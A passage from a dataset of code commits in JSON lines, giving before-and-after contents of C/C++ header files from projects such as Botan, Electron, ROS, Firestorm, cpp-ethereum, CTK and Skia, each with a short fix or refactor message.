CentOS\n","lang":"C","license":"agpl-3.0","repos":"simonzhangsm\/voltdb,flybird119\/voltdb,kobronson\/cs-voltdb,flybird119\/voltdb,flybird119\/voltdb,deerwalk\/voltdb,wolffcm\/voltdb,simonzhangsm\/voltdb,simonzhangsm\/voltdb,zuowang\/voltdb,flybird119\/voltdb,kumarrus\/voltdb,kumarrus\/voltdb,kobronson\/cs-voltdb,VoltDB\/voltdb,zuowang\/voltdb,migue\/voltdb,simonzhangsm\/voltdb,paulmartel\/voltdb,deerwalk\/voltdb,ingted\/voltdb,migue\/voltdb,migue\/voltdb,flybird119\/voltdb,paulmartel\/voltdb,kumarrus\/voltdb,zuowang\/voltdb,creative-quant\/voltdb,migue\/voltdb,zuowang\/voltdb,deerwalk\/voltdb,kobronson\/cs-voltdb,migue\/voltdb,flybird119\/voltdb,flybird119\/voltdb,creative-quant\/voltdb,simonzhangsm\/voltdb,paulmartel\/voltdb,VoltDB\/voltdb,VoltDB\/voltdb,wolffcm\/voltdb,migue\/voltdb,creative-quant\/voltdb,paulmartel\/voltdb,kobronson\/cs-voltdb,flybird119\/voltdb,VoltDB\/voltdb,deerwalk\/voltdb,kumarrus\/voltdb,kobronson\/cs-voltdb,creative-quant\/voltdb,VoltDB\/voltdb,kumarrus\/voltdb,wolffcm\/voltdb,kumarrus\/voltdb,migue\/voltdb,deerwalk\/voltdb,kobronson\/cs-voltdb,kumarrus\/voltdb,creative-quant\/voltdb,deerwalk\/voltdb,ingted\/voltdb,ingted\/voltdb,simonzhangsm\/voltdb,ingted\/voltdb,creative-quant\/voltdb,ingted\/voltdb,deerwalk\/voltdb,paulmartel\/voltdb,creative-quant\/voltdb,kobronson\/cs-voltdb,zuowang\/voltdb,VoltDB\/voltdb,wolffcm\/voltdb,ingted\/voltdb,deerwalk\/voltdb,zuowang\/voltdb,creative-quant\/voltdb,paulmartel\/voltdb,kumarrus\/voltdb,VoltDB\/voltdb,simonzhangsm\/voltdb,ingted\/voltdb,zuowang\/voltdb,paulmartel\/voltdb,wolffcm\/voltdb,wolffcm\/voltdb,wolffcm\/voltdb,kobronson\/cs-voltdb,migue\/voltdb,ingted\/voltdb,wolffcm\/voltdb,simonzhangsm\/voltdb,paulmartel\/voltdb,zuowang\/voltdb"}
{"commit":"42078262c5a5a4203a3256d6b0ab16792c48a433","old_file":"include\/charset.h","new_file":"include\/charset.h","old_contents":"n\/*************************************************\n* Character Set Handling Header File             *\n* (C) 1999-2007 Jack Lloyd                       *\n*************************************************\/\n\n#ifndef BOTAN_CHARSET_H__\n#define BOTAN_CHARSET_H__\n\n#include <botan\/types.h>\n#include <botan\/enums.h>\n#include <string>\n\nnamespace Botan {\n\nnamespace Charset {\n\n\/*************************************************\n* Character Set Handling                         *\n*************************************************\/\nstd::string transcode(const std::string&, Character_Set, Character_Set);\n\nbool is_digit(char);\nbool is_space(char);\nbool caseless_cmp(char, char);\n\nbyte char2digit(char);\nchar digit2char(byte);\n\n}\n\n}\n\n#endif\n","new_contents":"\/*************************************************\n* Character Set Handling Header File             *\n* (C) 1999-2007 Jack Lloyd                       *\n*************************************************\/\n\n#ifndef BOTAN_CHARSET_H__\n#define BOTAN_CHARSET_H__\n\n#include <botan\/types.h>\n#include <botan\/enums.h>\n#include <string>\n\nnamespace Botan {\n\nnamespace Charset {\n\n\/*************************************************\n* Character Set Handling                         *\n*************************************************\/\nstd::string transcode(const std::string&, Character_Set, Character_Set);\n\nbool is_digit(char);\nbool is_space(char);\nbool caseless_cmp(char, char);\n\nbyte char2digit(char);\nchar digit2char(byte);\n\n}\n\n}\n\n#endif\n","subject":"Remove stray character introduced during merge","message":"Remove stray character introduced during merge\n","lang":"C","license":"bsd-2-clause","repos":"randombit\/botan,webmaster128\/botan,Rohde-Schwarz-Cybersecurity\/botan,randombit\/botan,Rohde-Schwarz-Cybersecurity\/botan,randombit\/botan,webmaster128\/botan,Rohde-Schwarz-Cybersecurity\/botan,Rohde-Schwarz-Cybersecurity\/botan,webmaster128\/botan,randombit\/botan,Rohde-Schwarz-Cybersecurity\/botan,Rohde-Schwarz-Cybersecurity\/botan,webmaster128\/botan,randombit\/botan,webmaster128\/botan"}
{"commit":"e0c021bfef7292524964b4ab61db5db65c49f6aa","old_file":"atom\/utility\/atom_content_utility_client.h","new_file":"atom\/utility\/atom_content_utility_client.h","old_contents":"\/\/ Copyright (c) 2015 GitHub, Inc.\n\/\/ Use of this source code is governed by the MIT license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef ATOM_UTILITY_ATOM_CONTENT_UTILITY_CLIENT_H_\n#define ATOM_UTILITY_ATOM_CONTENT_UTILITY_CLIENT_H_\n\n#include <vector>\n\n#include \"base\/compiler_specific.h\"\n#include \"base\/memory\/scoped_vector.h\"\n#include \"content\/public\/utility\/content_utility_client.h\"\n\nclass UtilityMessageHandler;\n\nnamespace atom {\n\nclass AtomContentUtilityClient : public content::ContentUtilityClient {\n public:\n  AtomContentUtilityClient();\n  ~AtomContentUtilityClient() override;\n\n private:\n  typedef ScopedVector<UtilityMessageHandler> Handlers;\n  Handlers handlers_;\n\n  DISALLOW_COPY_AND_ASSIGN(AtomContentUtilityClient);\n};\n\n}  \/\/ namespace atom\n\n#endif  \/\/ ATOM_UTILITY_ATOM_CONTENT_UTILITY_CLIENT_H_\n","new_contents":"\/\/ Copyright (c) 2015 GitHub, Inc.\n\/\/ Use of this source code is governed by the MIT license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef ATOM_UTILITY_ATOM_CONTENT_UTILITY_CLIENT_H_\n#define ATOM_UTILITY_ATOM_CONTENT_UTILITY_CLIENT_H_\n\n#include <vector>\n\n#include \"base\/compiler_specific.h\"\n#include \"base\/memory\/scoped_vector.h\"\n#include \"content\/public\/utility\/content_utility_client.h\"\n\nclass UtilityMessageHandler;\n\nnamespace atom {\n\nclass AtomContentUtilityClient : public content::ContentUtilityClient {\n public:\n  AtomContentUtilityClient();\n  ~AtomContentUtilityClient() override;\n\n private:\n#if defined(OS_WIN)\n  typedef ScopedVector<UtilityMessageHandler> Handlers;\n  Handlers handlers_;\n#endif\n\n  DISALLOW_COPY_AND_ASSIGN(AtomContentUtilityClient);\n};\n\n}  \/\/ namespace atom\n\n#endif  \/\/ ATOM_UTILITY_ATOM_CONTENT_UTILITY_CLIENT_H_\n","subject":"Fix compilation waring on Mac","message":"Fix compilation waring on Mac\n","lang":"C","license":"mit","repos":"shiftkey\/electron,shiftkey\/electron,the-ress\/electron,renaesop\/electron,rajatsingla28\/electron,electron\/electron,rreimann\/electron,Floato\/electron,renaesop\/electron,tonyganch\/electron,miniak\/electron,brenca\/electron,the-ress\/electron,miniak\/electron,tonyganch\/electron,electron\/electron,shiftkey\/electron,renaesop\/electron,Floato\/electron,Floato\/electron,miniak\/electron,gerhardberger\/electron,seanchas116\/electron,thompsonemerson\/electron,rajatsingla28\/electron,tonyganch\/electron,Floato\/electron,gerhardberger\/electron,gerhardberger\/electron,wan-qy\/electron,twolfson\/electron,tonyganch\/electron,joaomoreno\/atom-shell,biblerule\/UMCTelnetHub,joaomoreno\/atom-shell,bpasero\/electron,thompsonemerson\/electron,rreimann\/electron,seanchas116\/electron,twolfson\/electron,thomsonreuters\/electron,rajatsingla28\/electron,the-ress\/electron,rajatsingla28\/electron,electron\/electron,biblerule\/UMCTelnetHub,wan-qy\/electron,twolfson\/electron,thompsonemerson\/electron,rreimann\/electron,Floato\/electron,miniak\/electron,electron\/electron,brenca\/electron,the-ress\/electron,miniak\/electron,joaomoreno\/atom-shell,shiftkey\/electron,brenca\/electron,renaesop\/electron,biblerule\/UMCTelnetHub,joaomoreno\/atom-shell,wan-qy\/electron,joaomoreno\/atom-shell,twolfson\/electron,shiftkey\/electron,rajatsingla28\/electron,bpasero\/electron,rreimann\/electron,twolfson\/electron,renaesop\/electron,the-ress\/electron,thompsonemerson\/electron,seanchas116\/electron,Floato\/electron,tonyganch\/electron,bpasero\/electron,gerhardberger\/electron,rreimann\/electron,thomsonreuters\/electron,thomsonreuters\/electron,thompsonemerson\/electron,wan-qy\/electron,renaesop\/electron,seanchas116\/electron,bpasero\/electron,seanchas116\/electron,gerhardberger\/electron,brenca\/electron,wan-qy\/electron,biblerule\/UMCTelnetHub,shiftkey\/electron,thomsonreuters\/electron,biblerule\/UMCTelnetHub,thomsonreuters\/electron,joaomoreno\/atom-shell,brenca\/electron,thompsonemerson\/electron,gerhardberger\/electron,biblerule\/UMCTelnetHub,tonyganch\/electron,bpasero\/electron,electron\/electron,twolfson\/electron,the-ress\/electron,wan-qy\/electron,seanchas116\/electron,bpasero\/electron,brenca\/electron,thomsonreuters\/electron,rreimann\/electron,rajatsingla28\/electron,electron\/electron,gerhardberger\/electron,bpasero\/electron,miniak\/electron,electron\/electron,the-ress\/electron"}
{"commit":"c7a41814a7f1a1519f107108233071646bd2fa6a","old_file":"rosidl_typesupport_opensplice_cpp\/include\/rosidl_typesupport_opensplice_cpp\/u__instanceHandle.h","new_file":"rosidl_typesupport_opensplice_cpp\/include\/rosidl_typesupport_opensplice_cpp\/u__instanceHandle.h","old_contents":"\/*\n *                         OpenSplice DDS\n *\n *   This software and documentation are Copyright 2006 to TO_YEAR PrismTech\n *   Limited, its affiliated companies and licensors. All rights reserved.\n *\n *   Licensed under the Apache License, Version 2.0 (the \"License\");\n *   you may not use this file except in compliance with the License.\n *   You may obtain a copy of the License at\n *\n *       http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n *   Unless required by applicable law or agreed to in writing, software\n *   distributed under the License is distributed on an \"AS IS\" BASIS,\n *   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *   See the License for the specific language governing permissions and\n *   limitations under the License.\n *\n *\/\n#ifndef ROSIDL_TYPESUPPORT_OPENSPLICE_CPP__U__INSTANCEHANDLE_H_\n#define ROSIDL_TYPESUPPORT_OPENSPLICE_CPP__U__INSTANCEHANDLE_H_\n\n#if __cplusplus\nextern \"C\"\n{\n#endif\n\n#include \"u_instanceHandle.h\"  \/\/ NOLINT\n#include \"v_collection.h\"  \/\/ NOLINT\n\nv_gid\nu_instanceHandleToGID(\n  u_instanceHandle _this);\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif  \/\/ ROSIDL_TYPESUPPORT_OPENSPLICE_CPP__U__INSTANCEHANDLE_H_\n","new_contents":"\/*\n *                         OpenSplice DDS\n *\n *   This software and documentation are Copyright 2006 to TO_YEAR PrismTech\n *   Limited, its affiliated companies and licensors. All rights reserved.\n *\n *   Licensed under the Apache License, Version 2.0 (the \"License\");\n *   you may not use this file except in compliance with the License.\n *   You may obtain a copy of the License at\n *\n *       http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n *   Unless required by applicable law or agreed to in writing, software\n *   distributed under the License is distributed on an \"AS IS\" BASIS,\n *   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *   See the License for the specific language governing permissions and\n *   limitations under the License.\n *\n *\/\n#ifndef ROSIDL_TYPESUPPORT_OPENSPLICE_CPP__U__INSTANCEHANDLE_H_\n#define ROSIDL_TYPESUPPORT_OPENSPLICE_CPP__U__INSTANCEHANDLE_H_\n\n\/\/ Provides visibility macros like ROSIDL_TYPESUPPORT_OPENSPLICE_CPP_PUBLIC.\n#include <rosidl_typesupport_opensplice_cpp\/visibility_control.h>\n\n#if __cplusplus\nextern \"C\"\n{\n#endif\n\n#include \"u_instanceHandle.h\"  \/\/ NOLINT\n#include \"v_collection.h\"  \/\/ NOLINT\n\nROSIDL_TYPESUPPORT_OPENSPLICE_CPP_PUBLIC\nv_gid\nu_instanceHandleToGID(\n  u_instanceHandle _this);\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif  \/\/ ROSIDL_TYPESUPPORT_OPENSPLICE_CPP__U__INSTANCEHANDLE_H_\n","subject":"Fix build issue on windows","message":"Fix build issue on windows\n\nexport function\n","lang":"C","license":"apache-2.0","repos":"ros2\/rmw_opensplice"}
{"commit":"643faa24287693f2692434e4641c2e80cec6588d","old_file":"indra\/llcommon\/nd\/ndboolswitch.h","new_file":"indra\/llcommon\/nd\/ndboolswitch.h","old_contents":"","new_contents":"#ifndef NDBOOLSWITCH_H\n#define NDBOOLSWITCH_H\n\n\/**\n * $LicenseInfo:firstyear=2013&license=fsviewerlgpl$\n * Phoenix Firestorm Viewer Source Code\n * Copyright (C) 2013, Nicky Dasmijn\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation;\n * version 2.1 of the License only.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA\n *\n * The Phoenix Firestorm Project, Inc., 1831 Oakwood Drive, Fairmont, Minnesota 56031-3225 USA\n * http:\/\/www.firestormviewer.org\n * $\/LicenseInfo$\n *\/\n\nnamespace nd\n{\n\tnamespace utils\n\t{\n\t\tclass boolSwitch\n\t\t{\n\t\t\tbool *mLocation;\n\t\t\tbool mOriginalValue;\n\t\t\tbool mNeedsReset;\n\t\tpublic:\n\t\t\tboolSwitch( bool *aLocation, bool aValue )\n\t\t\t\t: mLocation( aLocation )\n\t\t\t\t, mNeedsReset( false )\n\t\t\t{\n\t\t\t\tif( mLocation )\n\t\t\t\t{\n\t\t\t\t\tmOriginalValue = *mLocation;\n\t\t\t\t\tmNeedsReset = true;\n\t\t\t\t\t*mLocation = aValue;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t~boolSwitch( )\n\t\t\t{\n\t\t\t\treset();\n\t\t\t}\n\n\t\t\tvoid reset()\n\t\t\t{\n\t\t\t\tif( mLocation && mNeedsReset )\n\t\t\t\t\t*mLocation = mOriginalValue;\n\n\t\t\t\tmNeedsReset = false;\n\t\t\t}\n\n\t\t};\n\t}\n}\n\n#endif\n","subject":"Add file that did not get added by MQ.","message":"Add file that did not get added by MQ.\n","lang":"C","license":"lgpl-2.1","repos":"gabeharms\/firestorm,gabeharms\/firestorm,gabeharms\/firestorm,gabeharms\/firestorm,gabeharms\/firestorm,gabeharms\/firestorm,gabeharms\/firestorm,gabeharms\/firestorm,gabeharms\/firestorm"}
{"commit":"b8e969093e83bccc053e2102674561776ef5ee44","old_file":"evmjit\/libevmjit\/CompilerHelper.h","new_file":"evmjit\/libevmjit\/CompilerHelper.h","old_contents":"#pragma once\n\n#include \"preprocessor\/llvm_includes_start.h\"\n#include <llvm\/IR\/IRBuilder.h>\n#include \"preprocessor\/llvm_includes_end.h\"\n\n\nnamespace dev\n{\nnamespace eth\n{\nnamespace jit\n{\nclass RuntimeManager;\n\n\/\/\/ Base class for compiler helpers like Memory, GasMeter, etc.\nclass CompilerHelper\n{\nprotected:\n\tCompilerHelper(llvm::IRBuilder<>& _builder);\n\n\tCompilerHelper(const CompilerHelper&) = delete;\n\tCompilerHelper& operator=(CompilerHelper) = delete;\n\n\t\/\/\/ Reference to the IR module being compiled\n\tllvm::Module* getModule();\n\n\t\/\/\/ Reference to the main module function\n\tllvm::Function* getMainFunction();\n\n\t\/\/\/ Reference to parent compiler IR builder\n\tllvm::IRBuilder<>& m_builder;\n\tllvm::IRBuilder<>& getBuilder() { return m_builder; }\n\n\tllvm::CallInst* createCall(llvm::Function* _func, std::initializer_list<llvm::Value*> const& _args);\n\n\tfriend class RuntimeHelper;\n};\n\n\/\/\/ Compiler helper that depends on runtime data\nclass RuntimeHelper : public CompilerHelper\n{\nprotected:\n\tRuntimeHelper(RuntimeManager& _runtimeManager);\n\n\tRuntimeManager& getRuntimeManager() { return m_runtimeManager; }\n\nprivate:\n\tRuntimeManager& m_runtimeManager;\n};\n\nusing InsertPointGuard = llvm::IRBuilderBase::InsertPointGuard;\n\n}\n}\n}\n","new_contents":"#pragma once\n\n#include \"preprocessor\/llvm_includes_start.h\"\n#include <llvm\/IR\/IRBuilder.h>\n#include \"preprocessor\/llvm_includes_end.h\"\n\n\nnamespace dev\n{\nnamespace eth\n{\nnamespace jit\n{\nclass RuntimeManager;\n\n\/\/\/ Base class for compiler helpers like Memory, GasMeter, etc.\nclass CompilerHelper\n{\nprotected:\n\tCompilerHelper(llvm::IRBuilder<>& _builder);\n\n\tCompilerHelper(const CompilerHelper&) = delete;\n\tCompilerHelper& operator=(CompilerHelper) = delete;\n\n\t\/\/\/ Reference to the IR module being compiled\n\tllvm::Module* getModule();\n\n\t\/\/\/ Reference to the main module function\n\tllvm::Function* getMainFunction();\n\n\t\/\/\/ Reference to parent compiler IR builder\n\tllvm::IRBuilder<>& m_builder;\n\tllvm::IRBuilder<>& getBuilder() { return m_builder; }\n\n\tllvm::CallInst* createCall(llvm::Function* _func, std::initializer_list<llvm::Value*> const& _args);\n\n\tfriend class RuntimeHelper;\n};\n\n\/\/\/ Compiler helper that depends on runtime data\nclass RuntimeHelper : public CompilerHelper\n{\nprotected:\n\tRuntimeHelper(RuntimeManager& _runtimeManager);\n\n\tRuntimeManager& getRuntimeManager() { return m_runtimeManager; }\n\nprivate:\n\tRuntimeManager& m_runtimeManager;\n};\n\nstruct InsertPointGuard\n{\n\texplicit InsertPointGuard(llvm::IRBuilderBase& _builder): m_builder(_builder), m_insertPoint(_builder.saveIP()) {}\n\t~InsertPointGuard() { m_builder.restoreIP(m_insertPoint); }\n\nprivate:\n\tllvm::IRBuilderBase& m_builder;\n\tdecltype(m_builder.saveIP()) m_insertPoint;\n};\n\n}\n}\n}\n","subject":"Reimplement InsertPointGuard to avoid LLVM ABI incompatibility.","message":"Reimplement InsertPointGuard to avoid LLVM ABI incompatibility.\n\nIn general, the NDEBUG flag should match cpp-ethereum and LLVM builds. But this is hard to satisfy as we usually have one system-wide build of LLVM and different builds of cpp-ethereum. This ABI incompatibility hit OSX only in release builds as LLVM is built by homebrew with assertions by default.\n","lang":"C","license":"mit","repos":"johnpeter66\/ethminer,smartbitcoin\/cpp-ethereum,Sorceror32\/.-git-clone-https-github.com-ethereum-cpp-ethereum,ethers\/cpp-ethereum,expanse-project\/cpp-expanse,yann300\/cpp-ethereum,gluk256\/cpp-ethereum,xeddmc\/cpp-ethereum,PaulGrey30\/.-git-clone-https-github.com-ethereum-cpp-ethereum,anthony-cros\/cpp-ethereum,LefterisJP\/webthree-umbrella,yann300\/cpp-ethereum,d-das\/cpp-ethereum,LefterisJP\/cpp-ethereum,LefterisJP\/cpp-ethereum,Sorceror32\/.-git-clone-https-github.com-ethereum-cpp-ethereum,vaporry\/cpp-ethereum,joeldo\/cpp-ethereum,d-das\/cpp-ethereum,anthony-cros\/cpp-ethereum,gluk256\/cpp-ethereum,xeddmc\/cpp-ethereum,karek314\/cpp-ethereum,karek314\/cpp-ethereum,PaulGrey30\/go-get--u-github.com-tools-godep,chfast\/webthree-umbrella,LefterisJP\/webthree-umbrella,PaulGrey30\/go-get--u-github.com-tools-godep,yann300\/cpp-ethereum,expanse-project\/cpp-expanse,Sorceror32\/go-get--u-github.com-tools-godep,LefterisJP\/cpp-ethereum,PaulGrey30\/.-git-clone-https-github.com-ethereum-cpp-ethereum,gluk256\/cpp-ethereum,joeldo\/cpp-ethereum,expanse-org\/cpp-expanse,programonauta\/webthree-umbrella,yann300\/cpp-ethereum,PaulGrey30\/.-git-clone-https-github.com-ethereum-cpp-ethereum,smartbitcoin\/cpp-ethereum,smartbitcoin\/cpp-ethereum,eco\/cpp-ethereum,ethers\/cpp-ethereum,PaulGrey30\/.-git-clone-https-github.com-ethereum-cpp-ethereum,karek314\/cpp-ethereum,expanse-org\/cpp-expanse,Sorceror32\/.-git-clone-https-github.com-ethereum-cpp-ethereum,anthony-cros\/cpp-ethereum,expanse-project\/cpp-expanse,ethers\/cpp-ethereum,smartbitcoin\/cpp-ethereum,eco\/cpp-ethereum,eco\/cpp-ethereum,programonauta\/webthree-umbrella,johnpeter66\/ethminer,d-das\/cpp-ethereum,expanse-org\/cpp-expanse,LefterisJP\/cpp-ethereum,expanse-org\/cpp-expanse,ethers\/cpp-ethereum,Sorceror32\/go-get--u-github.com-tools-godep,vaporry\/cpp-ethereum,Sorceror32\/go-get--u-github.com-tools-godep,PaulGrey30\/go-get--u-github.com-tools-godep,PaulGrey30\/go-get--u-github.com-tools-godep,joeldo\/cpp-ethereum,xeddmc\/cpp-ethereum,xeddmc\/cpp-ethereum,karek314\/cpp-ethereum,ethers\/cpp-ethereum,d-das\/cpp-ethereum,eco\/cpp-ethereum,PaulGrey30\/.-git-clone-https-github.com-ethereum-cpp-ethereum,expanse-project\/cpp-expanse,expanse-org\/cpp-expanse,anthony-cros\/cpp-ethereum,johnpeter66\/ethminer,Sorceror32\/go-get--u-github.com-tools-godep,yann300\/cpp-ethereum,xeddmc\/cpp-ethereum,xeddmc\/cpp-ethereum,karek314\/cpp-ethereum,LefterisJP\/cpp-ethereum,expanse-project\/cpp-expanse,gluk256\/cpp-ethereum,eco\/cpp-ethereum,PaulGrey30\/go-get--u-github.com-tools-godep,vaporry\/cpp-ethereum,d-das\/cpp-ethereum,karek314\/cpp-ethereum,d-das\/cpp-ethereum,arkpar\/webthree-umbrella,LefterisJP\/cpp-ethereum,eco\/cpp-ethereum,joeldo\/cpp-ethereum,anthony-cros\/cpp-ethereum,Sorceror32\/go-get--u-github.com-tools-godep,expanse-project\/cpp-expanse,vaporry\/cpp-ethereum,ethers\/cpp-ethereum,PaulGrey30\/.-git-clone-https-github.com-ethereum-cpp-ethereum,vaporry\/webthree-umbrella,Sorceror32\/.-git-clone-https-github.com-ethereum-cpp-ethereum,joeldo\/cpp-ethereum,vaporry\/cpp-ethereum,smartbitcoin\/cpp-ethereum,yann300\/cpp-ethereum,joeldo\/cpp-ethereum,PaulGrey30\/go-get--u-github.com-tools-godep,vaporry\/cpp-ethereum,expanse-org\/cpp-expanse,gluk256\/cpp-ethereum,gluk256\/cpp-ethereum,Sorceror32\/go-get--u-github.com-tools-godep,anthony-cros\/cpp-ethereum,Sorceror32\/.-git-clone-https-github.com-ethereum-cpp-ethereum,smartbitcoin\/cpp-ethereum,Sorceror32\/.-git-clone-https-github.com-ethereum-cpp-ethereum"}
{"commit":"fd21da62c853499531eb95fc666cde55e70b1d41","old_file":"Libs\/PluginFramework\/Testing\/Cpp\/ctkPluginFrameworkTestUtilExport.h","new_file":"Libs\/PluginFramework\/Testing\/Cpp\/ctkPluginFrameworkTestUtilExport.h","old_contents":"\/*=============================================================================\n\n  Library: CTK\n\n  Copyright (c) 2010 German Cancer Research Center,\n    Division of Medical and Biological Informatics\n\n  Licensed under the Apache License, Version 2.0 (the \"License\");\n  you may not use this file except in compliance with the License.\n  You may obtain a copy of the License at\n\n    http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\n  Unless required by applicable law or agreed to in writing, software\n  distributed under the License is distributed on an \"AS IS\" BASIS,\n  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n  See the License for the specific language governing permissions and\n  limitations under the License.\n\n=============================================================================*\/\n\n\n#ifndef CTKPLUGINFRAMEWORKTESTUTILEXPORT_H\n#define CTKPLUGINFRAMEWORKTESTUTILEXPORT_H\n\n#include <QtCore\/qglobal.h>\n\n#if defined(CTKPluginFrameworkTestUtil_EXPORTS)\n #define CTK_PLUGINFW_TESTUTIL_EXPORT Q_DECL_EXPORT\n#else\n #define CTK_PLUGINFW_TESTUTIL_EXPORT Q_DECL_IMPORT\n#endif\n\n#endif \/\/ CTKPLUGINFRAMEWORKTESTUTILEXPORT_H\n","new_contents":"\/*=============================================================================\n\n  Library: CTK\n\n  Copyright (c) 2010 German Cancer Research Center,\n    Division of Medical and Biological Informatics\n\n  Licensed under the Apache License, Version 2.0 (the \"License\");\n  you may not use this file except in compliance with the License.\n  You may obtain a copy of the License at\n\n    http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\n  Unless required by applicable law or agreed to in writing, software\n  distributed under the License is distributed on an \"AS IS\" BASIS,\n  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n  See the License for the specific language governing permissions and\n  limitations under the License.\n\n=============================================================================*\/\n\n\n#ifndef CTKPLUGINFRAMEWORKTESTUTILEXPORT_H\n#define CTKPLUGINFRAMEWORKTESTUTILEXPORT_H\n\n#include <QtCore\/qglobal.h>\n\n#if defined(Q_OS_WIN) || defined(Q_OS_SYMBIAN)\n#  if defined(CTKPluginFrameworkTestUtil_EXPORTS)\n#    define CTK_PLUGINFW_TESTUTIL_EXPORT Q_DECL_EXPORT\n#  else\n#    define CTK_PLUGINFW_TESTUTIL_EXPORT Q_DECL_IMPORT\n#  endif\n#endif\n\n#if !defined(CTK_PLUGINFW_TESTUTIL_EXPORT)\n\/\/#  if defined(CTK_SHARED)\n#    define CTK_PLUGINFW_TESTUTIL_EXPORT Q_DECL_EXPORT\n\/\/#  else\n\/\/#    define @MY_LIBRARY_EXPORT_DIRECTIVE@\n\/\/#  endif\n#endif\n\n#endif \/\/ CTKPLUGINFRAMEWORKTESTUTILEXPORT_H\n","subject":"Fix export macro for plugin test utility library.","message":"Fix export macro for plugin test utility library.\n","lang":"C","license":"apache-2.0","repos":"commontk\/CTK,finetjul\/CTK,finetjul\/CTK,sankhesh\/CTK,CJGoch\/CTK,commontk\/CTK,msmolens\/CTK,pieper\/CTK,CJGoch\/CTK,AndreasFetzer\/CTK,rkhlebnikov\/CTK,Sardge\/CTK,jcfr\/CTK,naucoin\/CTK,rkhlebnikov\/CTK,mehrtash\/CTK,lassoan\/CTK,151706061\/CTK,mehrtash\/CTK,commontk\/CTK,espakm\/CTK,SINTEFMedtek\/CTK,pieper\/CTK,danielknorr\/CTK,jcfr\/CTK,naucoin\/CTK,danielknorr\/CTK,AndreasFetzer\/CTK,Sardge\/CTK,151706061\/CTK,pieper\/CTK,jcfr\/CTK,CJGoch\/CTK,CJGoch\/CTK,vovythevov\/CTK,sankhesh\/CTK,danielknorr\/CTK,Heather\/CTK,laurennlam\/CTK,jcfr\/CTK,mehrtash\/CTK,espakm\/CTK,jcfr\/CTK,msmolens\/CTK,Heather\/CTK,laurennlam\/CTK,naucoin\/CTK,lassoan\/CTK,naucoin\/CTK,151706061\/CTK,ddao\/CTK,msmolens\/CTK,SINTEFMedtek\/CTK,espakm\/CTK,fedorov\/CTK,fedorov\/CTK,151706061\/CTK,vovythevov\/CTK,danielknorr\/CTK,lassoan\/CTK,fedorov\/CTK,pieper\/CTK,vovythevov\/CTK,msmolens\/CTK,ddao\/CTK,SINTEFMedtek\/CTK,SINTEFMedtek\/CTK,CJGoch\/CTK,fedorov\/CTK,finetjul\/CTK,ddao\/CTK,Heather\/CTK,ddao\/CTK,rkhlebnikov\/CTK,mehrtash\/CTK,espakm\/CTK,Heather\/CTK,sankhesh\/CTK,151706061\/CTK,AndreasFetzer\/CTK,rkhlebnikov\/CTK,vovythevov\/CTK,lassoan\/CTK,sankhesh\/CTK,Sardge\/CTK,Sardge\/CTK,commontk\/CTK,SINTEFMedtek\/CTK,laurennlam\/CTK,finetjul\/CTK,AndreasFetzer\/CTK,laurennlam\/CTK"}
{"commit":"b3400badf022b4ff6f3545d1baa706affc22d93d","old_file":"include\/gpu\/gl\/SkMesaGLContext.h","new_file":"include\/gpu\/gl\/SkMesaGLContext.h","old_contents":"\n\/*\n * Copyright 2011 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n#ifndef SkMesaGLContext_DEFINED\n#define SkMesaGLContext_DEFINED\n\n#include \"SkGLContext.h\"\n\n#if SK_MESA\n\nclass SkMesaGLContext : public SkGLContext {\nprivate:\n    typedef intptr_t Context;\n\npublic:\n    SkMesaGLContext();\n\n    virtual ~SkMesaGLContext();\n\n    virtual void makeCurrent() const SK_OVERRIDE;\n\n    class AutoContextRestore {\n    public:\n        AutoContextRestore();\n        ~AutoContextRestore();\n\n    private:\n        Context fOldContext;\n        GLint   fOldWidth;\n        GLint   fOldHeight;\n        GLint   fOldFormat;\n        void*   fOldImage;\n    };\n\nprotected:\n    virtual const GrGLInterface* createGLContext() SK_OVERRIDE;\n    virtual void destroyGLContext() SK_OVERRIDE;\n\nprivate:\n    Context fContext;\n    GrGLubyte *fImage;\n};\n\n#endif\n\n#endif\n","new_contents":"\n\/*\n * Copyright 2011 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n#ifndef SkMesaGLContext_DEFINED\n#define SkMesaGLContext_DEFINED\n\n#include \"SkGLContext.h\"\n\n#if SK_MESA\n\nclass SkMesaGLContext : public SkGLContext {\nprivate:\n    typedef intptr_t Context;\n\npublic:\n    SkMesaGLContext();\n\n    virtual ~SkMesaGLContext();\n\n    virtual void makeCurrent() const SK_OVERRIDE;\n\n    class AutoContextRestore {\n    public:\n        AutoContextRestore();\n        ~AutoContextRestore();\n\n    private:\n        Context fOldContext;\n        GrGLint fOldWidth;\n        GrGLint fOldHeight;\n        GrGLint fOldFormat;\n        void*   fOldImage;\n    };\n\nprotected:\n    virtual const GrGLInterface* createGLContext() SK_OVERRIDE;\n    virtual void destroyGLContext() SK_OVERRIDE;\n\nprivate:\n    Context fContext;\n    GrGLubyte *fImage;\n};\n\n#endif\n\n#endif\n","subject":"Fix undefined GLint in Mac builds","message":"Fix undefined GLint in Mac builds\n\n\n\n\ngit-svn-id: e8541e15acce502a64c929015570ad1648e548cd@3736 